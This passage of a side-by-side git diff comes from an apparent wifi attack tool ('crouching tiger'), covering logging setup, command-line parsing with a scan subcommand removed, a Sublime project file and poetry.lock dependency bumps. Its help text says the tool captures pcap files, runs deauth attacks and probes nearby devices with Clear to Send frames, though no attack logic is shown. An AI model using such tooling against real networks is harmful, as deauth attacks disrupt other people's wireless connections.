# lvl = str(f'logging.{log_level}') if lev == 'info':
# lgvl = lvl.strip() log.setLevel(logging.INFO)
# log.setLevel(lgvl) elif lev == 'debug':
log.setLevel(logging.DEBUG) log.setLevel(logging.DEBUG)
handler = logging.FileHandler(logfile, mode='a', encoding='utf-8') handler = logging.FileHandler(log, mode='a', encoding='utf-8')
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s') formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter) handler.setFormatter(formatter)
log.addHandler(handler) log.addHandler(handler)
log.info('Started crouching tiger') log.info('started motion detection')
log.info('Started logger...') log.info('Acquired Logger')
return log return log
@ -698,7 +547,7 @@ def get_log(log_file, log_level):
# This is some fancy shit. # This is some fancy shit.
def process_args(args: argparse.Namespace) -> None: def process_args(args: argparse.Namespace) -> None:
""" """
Processes the command line arguments. Processes the command line arguments.
Args: Args:
args (argparse.Namespace): The parsed command line arguments. args (argparse.Namespace): The parsed command line arguments.
@ -721,20 +570,10 @@ def process_args(args: argparse.Namespace) -> None:
log.debug('args: {0}'.format(args)) log.debug('args: {0}'.format(args))
global valid_file global valid_file
valid_file = args.valid_file valid_file = args.valid_file
pge = Purge(interface=args.name, start_purge(interface=args.name,
mon_type=args.mon_type, mon_type=args.mon_type,
valid_file=args.valid_file, valid_file=args.valid_file,
channels=args.channels) channels=args.channels)
pge.start_purge()
case "scn":
log.info('Start scanning...')
if not args.save_results:
rfile = None
log.debug('Not saving results')
else:
rfile = args.rfile
log.debug('Saving results to ', rfile)
scan_scn(args.interface, args.save_results, rfile)
case _: case _:
ap.print_help() ap.print_help()
@ -797,9 +636,10 @@ else:
# ArgParse Setup # # ArgParse Setup #
################## ##################
ap = argparse.ArgumentParser( ap = argparse.ArgumentParser(
prog=prog,
formatter_class=argparse.RawTextHelpFormatter, formatter_class=argparse.RawTextHelpFormatter,
usage='%(prog)s -i $IFACE (-t $TARGET or -f $TARGET_FILE)', conflict_handler='resolve',
usage='%(prog)s -i $IFACE (-t $TARGET or -f $TARGET_FILE) {mac,att,scn}',
epilog='Processing will take several seconds, please be patient.\n',
description='Performs various actions on wifi targets.\n' description='Performs various actions on wifi targets.\n'
'\n' '\n'
'This program was created with the intent to allow users to attack\n' 'This program was created with the intent to allow users to attack\n'
@ -812,13 +652,7 @@ else:
' If found will begin capturing a pcap file and deauth attack.\n' ' If found will begin capturing a pcap file and deauth attack.\n'
'\n' '\n'
'3. Mac_Purge [mac] = Experimental: Scans for wireless devices and acquires their MAC\n' ' addresses. Then transmits a Clear to Send Frame. If the device responds with \n' '3. Mac_Purge [mac] = Experimental: Scans for wireless devices and acquires their MAC\n' ' addresses. Then transmits a Clear to Send Frame. If the device responds with \n'
' data frame, then information on the device will be stored and written to file.\n' ' data frame, then information on the device will be stored and written to file.\n')
'\n'
'4. SCAN [scn] = Scan for target\n'
' This action only scans for the target(s) provided and writes results to a csv file\n'
' This file can later be used with the attack command.\n',
epilog='Processing will take several seconds, please be patient.\n',
conflict_handler='resolve')
# options parser # options parser
ap.add_argument('-v', '--version', action='version', ap.add_argument('-v', '--version', action='version',
version=f'%(prog)s {VERSION}') version=f'%(prog)s {VERSION}')
@ -861,18 +695,7 @@ else:
mac_parse.add_argument('-c', '--channels', dest='channels', mac_parse.add_argument('-c', '--channels', dest='channels',
default=config['MAC_PURGE']['channel_list'], default=config['MAC_PURGE']['channel_list'],
help='A single or comma seperated list of channels.') help='A single or comma seperated list of channels.')
mac_parse.set_defaults(fun=Purge.start_purge) mac_parse.set_defaults(fun=start_purge)
# scn Subcommands
scn_parse = subparse.add_parser('scn', help='Scan for target')
scn_parse.add_argument('-s', '--save', dest='save_results',
action='store_true',
default=config['SCAN']['save_results'],
help='Save results to file.')
scn_parse.add_argument('-o', '--output', dest='rfile',
default=config['SCAN']['results_file'],
help='File to write results too.')
scn_parse.set_defaults(fun=scan_scn)
################## ##################
# parse the args # # parse the args #

17
ctiger.sublime-project Normal file
View file

@ -0,0 +1,17 @@
{
"folders":
[
{
"path": ".",
}
],
"build_systems":
[
{
"file_regex": "^[ ]*File \"(...*?)\", line ([0-9]*)",
"name": "Anaconda Python Builder",
"selector": "source.python",
"shell_cmd": "\"python\" -u \"$file\""
}
],
}

192
poetry.lock generated
View file

@ -1,4 +1,4 @@
# This file is automatically @generated by Poetry 1.6.1 and should not be changed by hand. # This file is automatically @generated by Poetry 1.7.1 and should not be changed by hand.
[[package]] [[package]]
name = "art" name = "art"
@ -41,27 +41,6 @@ files = [
[package.dependencies] [package.dependencies]
six = "*" six = "*"
[[package]]
name = "daemon"
version = "1.2"
description = ""
optional = false
python-versions = "*"
files = [
{file = "daemon-1.2.tar.gz", hash = "sha256:8b658d82e77e289cb6a4d2daff80b565556d5a54c594c9b4a864af0f89dff2af"},
]
[[package]]
name = "daemonize"
version = "2.5.0"
description = "Library to enable your code run as a daemon process on Unix-like systems."
optional = false
python-versions = "*"
files = [
{file = "daemonize-2.5.0-py2.py3-none-any.whl", hash = "sha256:9b6b91311a9d934ff3f5f766666635ca280d3de8e7137e4cd7d3f052543b989f"},
{file = "daemonize-2.5.0.tar.gz", hash = "sha256:dd026e4ff8d22cb016ed2130bc738b7d4b1da597ef93c074d2adb9e4dea08bc3"},
]
[[package]] [[package]]
name = "docstring-parser" name = "docstring-parser"
version = "0.15" version = "0.15"
@ -118,137 +97,49 @@ files = [
[[package]] [[package]]
name = "numpy" name = "numpy"
version = "1.25.2" version = "1.26.3"
description = "Fundamental package for array computing in Python" description = "Fundamental package for array computing in Python"
optional = false optional = false
python-versions = ">=3.9" python-versions = ">=3.9"
files = [ files = [
{file = "numpy-1.25.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:db3ccc4e37a6873045580d413fe79b68e47a681af8db2e046f1dacfa11f86eb3"}, {file = "numpy-1.26.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:806dd64230dbbfaca8a27faa64e2f414bf1c6622ab78cc4264f7f5f028fee3bf"},
{file = "numpy-1.25.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:90319e4f002795ccfc9050110bbbaa16c944b1c37c0baeea43c5fb881693ae1f"}, {file = "numpy-1.26.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02f98011ba4ab17f46f80f7f8f1c291ee7d855fcef0a5a98db80767a468c85cd"},
{file = "numpy-1.25.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfe4a913e29b418d096e696ddd422d8a5d13ffba4ea91f9f60440a3b759b0187"}, {file = "numpy-1.26.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6d45b3ec2faed4baca41c76617fcdcfa4f684ff7a151ce6fc78ad3b6e85af0a6"},
{file = "numpy-1.25.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f08f2e037bba04e707eebf4bc934f1972a315c883a9e0ebfa8a7756eabf9e357"}, {file = "numpy-1.26.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdd2b45bf079d9ad90377048e2747a0c82351989a2165821f0c96831b4a2a54b"},
{file = "numpy-1.25.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:bec1e7213c7cb00d67093247f8c4db156fd03075f49876957dca4711306d39c9"}, {file = "numpy-1.26.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:211ddd1e94817ed2d175b60b6374120244a4dd2287f4ece45d49228b4d529178"},
{file = "numpy-1.25.2-cp310-cp310-win32.whl", hash = "sha256:7dc869c0c75988e1c693d0e2d5b26034644399dd929bc049db55395b1379e044"}, {file = "numpy-1.26.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b1240f767f69d7c4c8a29adde2310b871153df9b26b5cb2b54a561ac85146485"},
{file = "numpy-1.25.2-cp310-cp310-win_amd64.whl", hash = "sha256:834b386f2b8210dca38c71a6e0f4fd6922f7d3fcff935dbe3a570945acb1b545"}, {file = "numpy-1.26.3-cp310-cp310-win32.whl", hash = "sha256:21a9484e75ad018974a2fdaa216524d64ed4212e418e0a551a2d83403b0531d3"},
{file = "numpy-1.25.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c5462d19336db4560041517dbb7759c21d181a67cb01b36ca109b2ae37d32418"}, {file = "numpy-1.26.3-cp310-cp310-win_amd64.whl", hash = "sha256:9e1591f6ae98bcfac2a4bbf9221c0b92ab49762228f38287f6eeb5f3f55905ce"},
{file = "numpy-1.25.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c5652ea24d33585ea39eb6a6a15dac87a1206a692719ff45d53c5282e66d4a8f"}, {file = "numpy-1.26.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b831295e5472954104ecb46cd98c08b98b49c69fdb7040483aff799a755a7374"},
{file = "numpy-1.25.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d60fbae8e0019865fc4784745814cff1c421df5afee233db6d88ab4f14655a2"}, {file = "numpy-1.26.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9e87562b91f68dd8b1c39149d0323b42e0082db7ddb8e934ab4c292094d575d6"},
{file = "numpy-1.25.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:60e7f0f7f6d0eee8364b9a6304c2845b9c491ac706048c7e8cf47b83123b8dbf"}, {file = "numpy-1.26.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c66d6fec467e8c0f975818c1796d25c53521124b7cfb760114be0abad53a0a2"},
{file = "numpy-1.25.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:bb33d5a1cf360304754913a350edda36d5b8c5331a8237268c48f91253c3a364"}, {file = "numpy-1.26.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f25e2811a9c932e43943a2615e65fc487a0b6b49218899e62e426e7f0a57eeda"},
{file = "numpy-1.25.2-cp311-cp311-win32.whl", hash = "sha256:5883c06bb92f2e6c8181df7b39971a5fb436288db58b5a1c3967702d4278691d"}, {file = "numpy-1.26.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:af36e0aa45e25c9f57bf684b1175e59ea05d9a7d3e8e87b7ae1a1da246f2767e"},
{file = "numpy-1.25.2-cp311-cp311-win_amd64.whl", hash = "sha256:5c97325a0ba6f9d041feb9390924614b60b99209a71a69c876f71052521d42a4"}, {file = "numpy-1.26.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:51c7f1b344f302067b02e0f5b5d2daa9ed4a721cf49f070280ac202738ea7f00"},
{file = "numpy-1.25.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b79e513d7aac42ae918db3ad1341a015488530d0bb2a6abcbdd10a3a829ccfd3"}, {file = "numpy-1.26.3-cp311-cp311-win32.whl", hash = "sha256:7ca4f24341df071877849eb2034948459ce3a07915c2734f1abb4018d9c49d7b"},
{file = "numpy-1.25.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:eb942bfb6f84df5ce05dbf4b46673ffed0d3da59f13635ea9b926af3deb76926"}, {file = "numpy-1.26.3-cp311-cp311-win_amd64.whl", hash = "sha256:39763aee6dfdd4878032361b30b2b12593fb445ddb66bbac802e2113eb8a6ac4"},
{file = "numpy-1.25.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e0746410e73384e70d286f93abf2520035250aad8c5714240b0492a7302fdca"}, {file = "numpy-1.26.3-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:a7081fd19a6d573e1a05e600c82a1c421011db7935ed0d5c483e9dd96b99cf13"},
{file = "numpy-1.25.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d7806500e4f5bdd04095e849265e55de20d8cc4b661b038957354327f6d9b295"}, {file = "numpy-1.26.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:12c70ac274b32bc00c7f61b515126c9205323703abb99cd41836e8125ea0043e"},
{file = "numpy-1.25.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8b77775f4b7df768967a7c8b3567e309f617dd5e99aeb886fa14dc1a0791141f"}, {file = "numpy-1.26.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7f784e13e598e9594750b2ef6729bcd5a47f6cfe4a12cca13def35e06d8163e3"},
{file = "numpy-1.25.2-cp39-cp39-win32.whl", hash = "sha256:2792d23d62ec51e50ce4d4b7d73de8f67a2fd3ea710dcbc8563a51a03fb07b01"}, {file = "numpy-1.26.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f24750ef94d56ce6e33e4019a8a4d68cfdb1ef661a52cdaee628a56d2437419"},
{file = "numpy-1.25.2-cp39-cp39-win_amd64.whl", hash = "sha256:76b4115d42a7dfc5d485d358728cdd8719be33cc5ec6ec08632a5d6fca2ed380"}, {file = "numpy-1.26.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:77810ef29e0fb1d289d225cabb9ee6cf4d11978a00bb99f7f8ec2132a84e0166"},
{file = "numpy-1.25.2-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:1a1329e26f46230bf77b02cc19e900db9b52f398d6722ca853349a782d4cff55"}, {file = "numpy-1.26.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8ed07a90f5450d99dad60d3799f9c03c6566709bd53b497eb9ccad9a55867f36"},
{file = "numpy-1.25.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c3abc71e8b6edba80a01a52e66d83c5d14433cbcd26a40c329ec7ed09f37901"}, {file = "numpy-1.26.3-cp312-cp312-win32.whl", hash = "sha256:f73497e8c38295aaa4741bdfa4fda1a5aedda5473074369eca10626835445511"},
{file = "numpy-1.25.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:1b9735c27cea5d995496f46a8b1cd7b408b3f34b6d50459d9ac8fe3a20cc17bf"}, {file = "numpy-1.26.3-cp312-cp312-win_amd64.whl", hash = "sha256:da4b0c6c699a0ad73c810736303f7fbae483bcb012e38d7eb06a5e3b432c981b"},
{file = "numpy-1.25.2.tar.gz", hash = "sha256:fd608e19c8d7c55021dffd43bfe5492fab8cc105cc8986f813f8c3c048b38760"}, {file = "numpy-1.26.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1666f634cb3c80ccbd77ec97bc17337718f56d6658acf5d3b906ca03e90ce87f"},
{file = "numpy-1.26.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:18c3319a7d39b2c6a9e3bb75aab2304ab79a811ac0168a671a62e6346c29b03f"},
{file = "numpy-1.26.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b7e807d6888da0db6e7e75838444d62495e2b588b99e90dd80c3459594e857b"},
{file = "numpy-1.26.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b4d362e17bcb0011738c2d83e0a65ea8ce627057b2fdda37678f4374a382a137"},
{file = "numpy-1.26.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b8c275f0ae90069496068c714387b4a0eba5d531aace269559ff2b43655edd58"},
{file = "numpy-1.26.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:cc0743f0302b94f397a4a65a660d4cd24267439eb16493fb3caad2e4389bccbb"},
{file = "numpy-1.26.3-cp39-cp39-win32.whl", hash = "sha256:9bc6d1a7f8cedd519c4b7b1156d98e051b726bf160715b769106661d567b3f03"},
{file = "numpy-1.26.3-cp39-cp39-win_amd64.whl", hash = "sha256:867e3644e208c8922a3be26fc6bbf112a035f50f0a86497f98f228c50c607bb2"},
{file = "numpy-1.26.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3c67423b3703f8fbd90f5adaa37f85b5794d3366948efe9a5190a5f3a83fc34e"},
{file = "numpy-1.26.3-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46f47ee566d98849323f01b349d58f2557f02167ee301e5e28809a8c0e27a2d0"},
{file = "numpy-1.26.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a8474703bffc65ca15853d5fd4d06b18138ae90c17c8d12169968e998e448bb5"},
{file = "numpy-1.26.3.tar.gz", hash = "sha256:697df43e2b6310ecc9d95f05d5ef20eacc09c7c4ecc9da3f235d39e71b7da1e4"},
] ]
[[package]]
name = "numpy"
version = "1.26.1"
description = "Fundamental package for array computing in Python"
optional = false
python-versions = "<3.13,>=3.9"
files = [
{file = "numpy-1.26.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82e871307a6331b5f09efda3c22e03c095d957f04bf6bc1804f30048d0e5e7af"},
{file = "numpy-1.26.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cdd9ec98f0063d93baeb01aad472a1a0840dee302842a2746a7a8e92968f9575"},
{file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d78f269e0c4fd365fc2992c00353e4530d274ba68f15e968d8bc3c69ce5f5244"},
{file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8ab9163ca8aeb7fd32fe93866490654d2f7dda4e61bc6297bf72ce07fdc02f67"},
{file = "numpy-1.26.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:78ca54b2f9daffa5f323f34cdf21e1d9779a54073f0018a3094ab907938331a2"},
{file = "numpy-1.26.1-cp310-cp310-win32.whl", hash = "sha256:d1cfc92db6af1fd37a7bb58e55c8383b4aa1ba23d012bdbba26b4bcca45ac297"},
{file = "numpy-1.26.1-cp310-cp310-win_amd64.whl", hash = "sha256:d2984cb6caaf05294b8466966627e80bf6c7afd273279077679cb010acb0e5ab"},
{file = "numpy-1.26.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cd7837b2b734ca72959a1caf3309457a318c934abef7a43a14bb984e574bbb9a"},
{file = "numpy-1.26.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1c59c046c31a43310ad0199d6299e59f57a289e22f0f36951ced1c9eac3665b9"},
{file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d58e8c51a7cf43090d124d5073bc29ab2755822181fcad978b12e144e5e5a4b3"},
{file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6081aed64714a18c72b168a9276095ef9155dd7888b9e74b5987808f0dd0a974"},
{file = "numpy-1.26.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:97e5d6a9f0702c2863aaabf19f0d1b6c2628fbe476438ce0b5ce06e83085064c"},
{file = "numpy-1.26.1-cp311-cp311-win32.whl", hash = "sha256:b9d45d1dbb9de84894cc50efece5b09939752a2d75aab3a8b0cef6f3a35ecd6b"},
{file = "numpy-1.26.1-cp311-cp311-win_amd64.whl", hash = "sha256:3649d566e2fc067597125428db15d60eb42a4e0897fc48d28cb75dc2e0454e53"},
{file = "numpy-1.26.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:1d1bd82d539607951cac963388534da3b7ea0e18b149a53cf883d8f699178c0f"},
{file = "numpy-1.26.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:afd5ced4e5a96dac6725daeb5242a35494243f2239244fad10a90ce58b071d24"},
{file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a03fb25610ef560a6201ff06df4f8105292ba56e7cdd196ea350d123fc32e24e"},
{file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcfaf015b79d1f9f9c9fd0731a907407dc3e45769262d657d754c3a028586124"},
{file = "numpy-1.26.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e509cbc488c735b43b5ffea175235cec24bbc57b227ef1acc691725beb230d1c"},
{file = "numpy-1.26.1-cp312-cp312-win32.whl", hash = "sha256:af22f3d8e228d84d1c0c44c1fbdeb80f97a15a0abe4f080960393a00db733b66"},
{file = "numpy-1.26.1-cp312-cp312-win_amd64.whl", hash = "sha256:9f42284ebf91bdf32fafac29d29d4c07e5e9d1af862ea73686581773ef9e73a7"},
{file = "numpy-1.26.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bb894accfd16b867d8643fc2ba6c8617c78ba2828051e9a69511644ce86ce83e"},
{file = "numpy-1.26.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e44ccb93f30c75dfc0c3aa3ce38f33486a75ec9abadabd4e59f114994a9c4617"},
{file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9696aa2e35cc41e398a6d42d147cf326f8f9d81befcb399bc1ed7ffea339b64e"},
{file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5b411040beead47a228bde3b2241100454a6abde9df139ed087bd73fc0a4908"},
{file = "numpy-1.26.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1e11668d6f756ca5ef534b5be8653d16c5352cbb210a5c2a79ff288e937010d5"},
{file = "numpy-1.26.1-cp39-cp39-win32.whl", hash = "sha256:d1d2c6b7dd618c41e202c59c1413ef9b2c8e8a15f5039e344af64195459e3104"},
{file = "numpy-1.26.1-cp39-cp39-win_amd64.whl", hash = "sha256:59227c981d43425ca5e5c01094d59eb14e8772ce6975d4b2fc1e106a833d5ae2"},
{file = "numpy-1.26.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:06934e1a22c54636a059215d6da99e23286424f316fddd979f5071093b648668"},
{file = "numpy-1.26.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76ff661a867d9272cd2a99eed002470f46dbe0943a5ffd140f49be84f68ffc42"},
{file = "numpy-1.26.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:6965888d65d2848e8768824ca8288db0a81263c1efccec881cb35a0d805fcd2f"},
{file = "numpy-1.26.1.tar.gz", hash = "sha256:c8c6c72d4a9f831f328efb1312642a1cafafaa88981d9ab76368d50d07d93cbe"},
]
[[package]]
name = "pandas"
version = "2.1.0"
description = "Powerful data structures for data analysis, time series, and statistics"
optional = false
python-versions = ">=3.9"
files = [
{file = "pandas-2.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:40dd20439ff94f1b2ed55b393ecee9cb6f3b08104c2c40b0cb7186a2f0046242"},
{file = "pandas-2.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d4f38e4fedeba580285eaac7ede4f686c6701a9e618d8a857b138a126d067f2f"},
{file = "pandas-2.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6e6a0fe052cf27ceb29be9429428b4918f3740e37ff185658f40d8702f0b3e09"},
{file = "pandas-2.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d81e1813191070440d4c7a413cb673052b3b4a984ffd86b8dd468c45742d3cc"},
{file = "pandas-2.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:eb20252720b1cc1b7d0b2879ffc7e0542dd568f24d7c4b2347cb035206936421"},
{file = "pandas-2.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:38f74ef7ebc0ffb43b3d633e23d74882bce7e27bfa09607f3c5d3e03ffd9a4a5"},
{file = "pandas-2.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cda72cc8c4761c8f1d97b169661f23a86b16fdb240bdc341173aee17e4d6cedd"},
{file = "pandas-2.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d97daeac0db8c993420b10da4f5f5b39b01fc9ca689a17844e07c0a35ac96b4b"},
{file = "pandas-2.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8c58b1113892e0c8078f006a167cc210a92bdae23322bb4614f2f0b7a4b510f"},
{file = "pandas-2.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:629124923bcf798965b054a540f9ccdfd60f71361255c81fa1ecd94a904b9dd3"},
{file = "pandas-2.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:70cf866af3ab346a10debba8ea78077cf3a8cd14bd5e4bed3d41555a3280041c"},
{file = "pandas-2.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:d53c8c1001f6a192ff1de1efe03b31a423d0eee2e9e855e69d004308e046e694"},
{file = "pandas-2.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:86f100b3876b8c6d1a2c66207288ead435dc71041ee4aea789e55ef0e06408cb"},
{file = "pandas-2.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28f330845ad21c11db51e02d8d69acc9035edfd1116926ff7245c7215db57957"},
{file = "pandas-2.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9a6ccf0963db88f9b12df6720e55f337447aea217f426a22d71f4213a3099a6"},
{file = "pandas-2.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d99e678180bc59b0c9443314297bddce4ad35727a1a2656dbe585fd78710b3b9"},
{file = "pandas-2.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:b31da36d376d50a1a492efb18097b9101bdbd8b3fbb3f49006e02d4495d4c644"},
{file = "pandas-2.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:0164b85937707ec7f70b34a6c3a578dbf0f50787f910f21ca3b26a7fd3363437"},
{file = "pandas-2.1.0.tar.gz", hash = "sha256:62c24c7fc59e42b775ce0679cfa7b14a5f9bfb7643cfbe708c960699e05fb918"},
]
[package.dependencies]
numpy = {version = ">=1.23.2", markers = "python_version >= \"3.11\""}
python-dateutil = ">=2.8.2"
pytz = ">=2020.1"
tzdata = ">=2022.1"
[package.extras]
all = ["PyQt5 (>=5.15.6)", "SQLAlchemy (>=1.4.36)", "beautifulsoup4 (>=4.11.1)", "bottleneck (>=1.3.4)", "dataframe-api-compat (>=0.1.7)", "fastparquet (>=0.8.1)", "fsspec (>=2022.05.0)", "gcsfs (>=2022.05.0)", "html5lib (>=1.1)", "hypothesis (>=6.46.1)", "jinja2 (>=3.1.2)", "lxml (>=4.8.0)", "matplotlib (>=3.6.1)", "numba (>=0.55.2)", "numexpr (>=2.8.0)", "odfpy (>=1.4.1)", "openpyxl (>=3.0.10)", "pandas-gbq (>=0.17.5)", "psycopg2 (>=2.9.3)", "pyarrow (>=7.0.0)", "pymysql (>=1.0.2)", "pyreadstat (>=1.1.5)", "pytest (>=7.3.2)", "pytest-asyncio (>=0.17.0)", "pytest-xdist (>=2.2.0)", "pyxlsb (>=1.0.9)", "qtpy (>=2.2.0)", "s3fs (>=2022.05.0)", "scipy (>=1.8.1)", "tables (>=3.7.0)", "tabulate (>=0.8.10)", "xarray (>=2022.03.0)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.3)", "zstandard (>=0.17.0)"]
aws = ["s3fs (>=2022.05.0)"]
clipboard = ["PyQt5 (>=5.15.6)", "qtpy (>=2.2.0)"]
compression = ["zstandard (>=0.17.0)"]
computation = ["scipy (>=1.8.1)", "xarray (>=2022.03.0)"]
consortium-standard = ["dataframe-api-compat (>=0.1.7)"]
excel = ["odfpy (>=1.4.1)", "openpyxl (>=3.0.10)", "pyxlsb (>=1.0.9)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.3)"]
feather = ["pyarrow (>=7.0.0)"]
fss = ["fsspec (>=2022.05.0)"]
gcp = ["gcsfs (>=2022.05.0)", "pandas-gbq (>=0.17.5)"]
hdf5 = ["tables (>=3.7.0)"]
html = ["beautifulsoup4 (>=4.11.1)", "html5lib (>=1.1)", "lxml (>=4.8.0)"]
mysql = ["SQLAlchemy (>=1.4.36)", "pymysql (>=1.0.2)"]
output-formatting = ["jinja2 (>=3.1.2)", "tabulate (>=0.8.10)"]
parquet = ["pyarrow (>=7.0.0)"]
performance = ["bottleneck (>=1.3.4)", "numba (>=0.55.2)", "numexpr (>=2.8.0)"]
plot = ["matplotlib (>=3.6.1)"]
postgresql = ["SQLAlchemy (>=1.4.36)", "psycopg2 (>=2.9.3)"]
spss = ["pyreadstat (>=1.1.5)"]
sql-other = ["SQLAlchemy (>=1.4.36)"]
test = ["hypothesis (>=6.46.1)", "pytest (>=7.3.2)", "pytest-asyncio (>=0.17.0)", "pytest-xdist (>=2.2.0)"]
xml = ["lxml (>=4.8.0)"]
[[package]] [[package]]
name = "pandas" name = "pandas"
version = "2.1.1" version = "2.1.1"
@ -284,7 +175,10 @@ files = [
] ]
[package.dependencies] [package.dependencies]
numpy = {version = ">=1.23.2", markers = "python_version == \"3.11\""} numpy = [
{version = ">=1.23.2", markers = "python_version == \"3.11\""},
{version = ">=1.26.0", markers = "python_version >= \"3.12\""},
]
python-dateutil = ">=2.8.2" python-dateutil = ">=2.8.2"
pytz = ">=2020.1" pytz = ">=2020.1"
tzdata = ">=2022.1" tzdata = ">=2022.1"
